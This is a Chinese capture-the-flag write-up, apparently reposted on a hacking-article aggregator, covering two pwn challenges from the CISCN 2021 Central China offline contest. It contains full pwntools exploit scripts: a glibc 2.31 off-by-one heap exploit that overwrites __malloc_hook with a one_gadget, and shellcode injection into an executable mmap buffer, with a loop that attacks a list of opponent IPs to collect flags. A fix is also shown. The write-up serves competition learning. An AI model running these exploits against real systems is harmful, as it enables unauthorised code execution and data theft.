记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

【技术分享】ciscn2021 华中线下赛pwn部分题解

2021-08-01 10:50

 

前言



菜鸡第一次打线下赛,一天解题一天awd,一共四个pwn,解题赛的pwn2到最后都只有一个师傅搞定(凌霄的师傅tql),本菜鸡只出了两个题,不过还好现场awd不是很激烈,只靠一个也勉强活了下来。本文简单记录一下解题的pwn1和awd的水pwn。


pwn1



解题赛一共两个pwn题,还好队伍里其他大佬c我。

漏洞点

pwn1就是一道朴实无华的堆题,2.31的libc,在申请堆块输入内容的时候存在off by one。

for ( i = 0; i <= size; ++i )  {    read(0, &buf, 1uLL);    if ( buf == 10 )      break;    *(_BYTE *)(a1 + i) = buf;  }

只能申请特定size的堆块 ,0x68和0xe8,并且使用calloc()申请堆块,并且限制了只能同时控制三个堆块,这一点限制了很多操作。

nmemb = 0;get_input();if ( nmemb_4 == 1 )  {    nmemb = 0x68;  }  else if ( nmemb_4 == 2 )  {    nmemb = 0xE8;  }  addr = calloc(nmemb, 1uLL);

思路

泄露地址

审计漏洞点,发现可申请的chunk大小只有0x71,0xf1,0x21。所以可以想到用0xf1的unsorted bin泄露地址,利用0x71的chunk进行fastbin attack。
首先将0xf1的tcache打满,因为calloc不会从tcache中取chunk,所以直接循环就可以将tcache打满。

然后再次申请一个0xf1的chunk0,用来释放进入unsorted bin,同时再申请一个0x71的chunk1,同时在chunk1中伪造一个堆头,用来满足下一步从unsorted bin中切出chunk后溢出修改size后的检测。

查看此时内存。

然后从unsorted bin中切出一个0x71大小的chunk0,同时溢出修改剩余unsorted bin的size为0xb1,这里size可以是任意值,只要可以覆盖相邻的chunk1,并且在chunk1中伪造好堆头。

所以现在有一个问题是如何将 main_arena 泄露出来,从chunk1的fd到当前 main_arena 的偏移为 0xa20-0x9a0 = 0x80 ,然而正常情况下,我们只能申请0xf1和0x71大小的堆块,但是如果申请的时候给一个非法选项的size,就会calloc(0)得到一个0x21的堆块,所以如果calloc(0)执行四次,就刚好将 main_arena 推到了chunk1的fd位置,show(1)即可泄露地址。

getshell

成功泄露地址之后,利用0x71的chunk进行fastbin attack。这里主要的困难是只能同时控制三个堆块。
从上一张图中能看到,chunk1的size被改为了0x31,chunk0是用来修改unsorted bin的size的0x71大小的chunk。
这部分最难受的就是同时只有三个堆块,被这个卡了很久。
跟泄露地址差不多的思路,此时堆布局为:

chunk0 0xf1
chunk1 0x71
chunk2 0xf1

将chunk0和chunk1释放,分别进入unsorted bin和fastbin,然后将fastbin中的chunk申请回来,同时将chunk2的presize改为0xf0,size改为0xf0。

然后在unsorted bin中申请0x71的chunk,同时溢出一字节修改size为0xf1。

就可以将overlap的chunk释放到fastbin中。然后通过申请0xf1的chunk时写入,覆盖fastbin的fd指针为 malloc_hook-0x33 ,当前内存布局如下。

查看fastbin。

这个时候的主要问题就是三个指针都用掉了,要清出两个指针进行fastbin attack,并且释放不能进入0x71的fastbin。

然后就是将malloc_hook盖为one_gadget。

使用第一个one_gaget,调试发现,执行到one_gadget时,r15 = 0 , r12 = size。

所以,calloc(0)即满足条件。

exp

from pwn import *from LibcSearcher import *context.log_level = 'debug'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()
def dbg(addr): sh.attach(sh,'b *0x{}\nc\n'.format(addr))
def add(ch,c='a'): sla('choice:','1') sla('Large.',str(ch)) sla('Content:',c)def delete(idx): sla('choice:','2') sla('Index:',str(idx))def show(idx): sla('choice:','3') sla('Index:',str(idx))# add size 1->0x68 2->0xe8 else 0x21sh = process('./note')#sh = remote('10.12.153.11',58011)libc = ELF('/opt/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
for i in range(7):#calloc(0xe8) fill tcache add(2) delete(0)
add(2,'\x00'*0x80)#0add(1,'a'*0x20+p64(0xb0)+p64(0x70-0x30))#1 fake pre_sz & szdelete(0)#ustbin
add(1,'\x00'*0x68+p64(0xb1))#0 off by one
for i in range(4): add(0) delete(2)
show(1)libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7efc8cb1dbe0-0x7efc8c932000)print hex(libc_base)malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(0)for i in range(6): add(1) delete(0)add(2)#0
delete(1)#0x30 tcache
add(1,'a'*0x60+p64(0xf0))#1
add(2)#2
delete(0)#unsorted bindelete(1)# 0x71 fastbin
add(1,'a'*0x60+p64(0xf0)+p64(0xf0))#0 fake sizeadd(1,'\x00'*0x68+p64(0xf1))#1delete(0)add(2,'\x00'*0x70+p64(0)+p64(0x70)+p64(malloc_hook-0x33)+'\x00'*(0xe8-0x88)+p64(0X51))#0delete(2)delete(1)add(1,'a'*0x68+p64(0x81))delete(0)add(1)add(1,'a'*0x23+p64(libc_base+0xe6c7e))delete(0)sla('choice:','1')#gdb.attach(sh)sla('Large.',str(3))
ti()

 

pwn1_awd



比较简单的一题,不过awd阶段靠这题还拿了不少分,挺离谱的。

漏洞点

有一丢丢逆向pwn的意思,不过逻辑很简洁。
输入格式

op : choice 选操作
+ :off 输入偏移
n : size 输入长度

操作2和3都是先调用mmap开辟一块内存空间,然后以off为偏移,size为大小写入内容。
具有可执行权限。

unsigned __int64 sub_400A65(){  unsigned int v0; // eax  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); if ( !mmap_addr ) { v0 = getpagesize(); mmap_addr = (int)mmap((void *)0x1000, v0, 7, 34, 0, 0LL); } return __readfsqword(0x28u) ^ v2;}

选项1判断开辟的内存空间内容是否为0xdeadbeef,是则getshell。
但是当时就很奇怪,这个shell读不了根目录下的flag文件,可能跟权限有关系。

unsigned __int64 sub_400AD4(){  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); puts("ready?"); mmap_to_write(); if ( *(_DWORD *)mmap_addr == 0xDEADBEEF ) system("/bin/sh"); puts("oh?"); return __readfsqword(0x28u) ^ v1;}

选项4就很直白。

unsigned __int64 sub_400C92(){  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); mmap_to_write(); puts("ready?"); mmap_addr("ready?")//执行shellcode return __readfsqword(0x28u) ^ v1;}

修复

一个是mmap出的内存空间不可执行。再将后门patch掉,不过后门不修应该也没关系,反正读不到flag。

mmap_addr = (__int64 (__fastcall *)(_QWORD))(int)mmap((void *)0x1000, v0, 6, 34, 0, 0LL);

exp

from pwn import *from LibcSearcher import *context.log_level = 'debug'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()context.arch = 'amd64'

shellcode = shellcraft.open('flag.txt')shellcode += shellcraft.read('rax','rsp',0x60)shellcode += shellcraft.write(1,'rsp',0x60)payload = asm(shellcode)#sh = remote('10.12.153.18',9999)def write_shell(): return 'op:2\n+:0\nn:400\n\n'def run(): return 'op:4\n\n'#gdb.attach(sh)def pwn(): sla('code> ',write_shell()) sa('ready?',payload) sla('code> ',run())

#run_shell(sh,'./backdoor')
with open('ip.txt','r') as f: ips = f.readlines()print ips
f = open('flag_2.txt','w+')for i in ips: ip= i.strip('\r\n') print ip sh = remote(ip,9999)
try: pwn() flag = ru('}')[-38:] f.write(flag+'\n') print '__flag__:'+flag except: print 'error'f.close()

 

总结



解题赛被pwn2支配了大半天,结果还是没什么进展,


知识来源: https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649749407&idx=1&sn=93646b511e2ed18e55dc5d2d5ba39640

阅读:122437 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“【技术分享】ciscn2021 华中线下赛pwn部分题解”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁